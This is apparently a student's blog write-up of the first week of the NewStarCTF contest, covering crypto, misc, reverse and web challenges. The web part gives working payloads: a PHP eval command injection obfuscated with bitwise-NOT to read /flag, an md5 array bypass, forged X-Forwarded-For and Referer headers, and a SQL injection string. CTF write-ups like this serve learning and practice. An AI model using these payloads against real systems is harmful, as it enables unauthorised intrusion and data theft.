NewStarCTF 公开赛赛道 第一周学习记录

这是很久之前就搞好了,就是懒得写,因为有些是很简单的,但是也有些是我之前没有接触过的知识,所以想了想还是写吧。本人很菜,pwn不会,密码学会一点点点,misc会一点点,web会一点,re看不懂。。。。 这边学长ak了ak佬wp

CRYPTO

caeser

提示很明显了吧,尤利乌斯吗,不就是凯撒密码吗

吉奥万·巴蒂斯塔·贝拉索先生的密码 

这个看名字就是知道是,维基尼亚密码了

提示你key有三位,直接爆破,key为kfc,爆破维基尼亚

 eazyxor

from os import urandom
from secret import flag
key = urandom(1)

def xor(plaintext, key):
    ret = []
    for i in range(len(plaintext)):
        ret.append(plaintext[i] ^ key[0])
    return bytes(ret)

ciphertext = xor(flag, key)

print(ciphertext.hex())

它给了密文,我们知道这是16进制,他是key与flag进行异或,我们知道这是16进制,可以来获取key

我们知道flag的开头都是这样flag{将f进行ascii加密,与0x9b进行异或就可以获得key

果然经过尝试都是经过异或的,key为253

import binascii
cipher = "9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480"
c = binascii.unhexlify(cipher)

key = 253

result = ""
for i in c:
    result += chr(i^key)
print(result)

misc

Yesec no drumsticks 1

给了一张png图片,直接使用zsteg获取flag

qsdz's girlfriend 1

给了一个压缩包,提示他男朋友的生日,生日只算数字的话最多8位最小6位,用ARCHPR爆破,密码为20031201

让我们看看他的男朋友什么样的

 二刺猿呀

放到winhex里面,翻到最底下,给了一串base64解一下

得到提示他的男朋友,名字六位字母,第一位是大写

用百度查一下看看

查一下和这个游戏

六位对吧,找到这个人的图片确实差不多,好了flag就有了

Look my eyes

有个软件就叫沉默的眼睛。。。

解出来这串base64,得到flag

奇怪的音频

使用RX_SSTV就行很简单

EzSnake

得到jar进行运行,还真是贪吃蛇,114分好像也挺简单的是吧,但是他们说经常玩到一半就崩了,那算了吧,还是老老实实干活吧。

 使用jd-gui,将这些保存起来,给一个压缩包,解压到一个文件夹,将META-INF文件夹拿出来,回头有用

来到这,点开GamePane.java

找到114,将他修改为1,突然发现上面出现问号,我知道了是jd-gui的版本问题,这个版本会有问号出现修改好就行

然后保存,将所有java文件编译成class文件,进入cmd到当前文件夹,输入javac ./*.java

 然后回到这里

进入cmd,输入 jar cvfm classes.jar ./META-INF/MANIFEST.MF -C ./e .

classes.jar是你要生成jar文件的文件名

在输入java -jar classes.jar运行这个文件

随便吃一个

他就会弹出0.3秒的二维码,然后跳到这个白框,所以大家要用录屏,帧率开到最高

然后你就会得到这个,把二维码补好就行了

找一个这样的二维码角

使用ps就行。

re

Hello_Reverse

这个打开就给前半段,看看就给后半段,好的很

web

http

先提示get传入name,之后post传入key,key看源代码就有

 提示你不是admin,看看网络拦的包

正常是user=test,这个是我改的

好了这样就可以得到flag了

Head?Header!

提示

 必须要用ctf这个啥,从User Agent里面传入CTF就行

必须是ctf.com浏览器访问

Referer传入ctf.com就行

必须本地用户访问才行,本地用户就是127.0.0.1呗

传入X-Forwarded-For: 127.0.0.1就行

获得flag,收工

我真的会谢

提示你flag,在三个文件里面,三个敏感文件,我们猜一下,三个文件很好猜,不用扫

第一个robots.txt

第二个.index.php.swp ,这个我们可以放到kali中,用vim -r恢复

第三个www.zip好了结束

NotPHP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
} Pass it!

 分析一下,data这个已经提示了,可以使用data伪协议或者php那个协议,第二个key是三个等号直接使用数组就行,num是直接加一个a就行,就cmd有点麻烦

payload:
get传 ?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag
post传 num=2077a

Word-For-You

这个最简单了,使用1' or 1=1#,在查询页面直接就可以获得flag

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值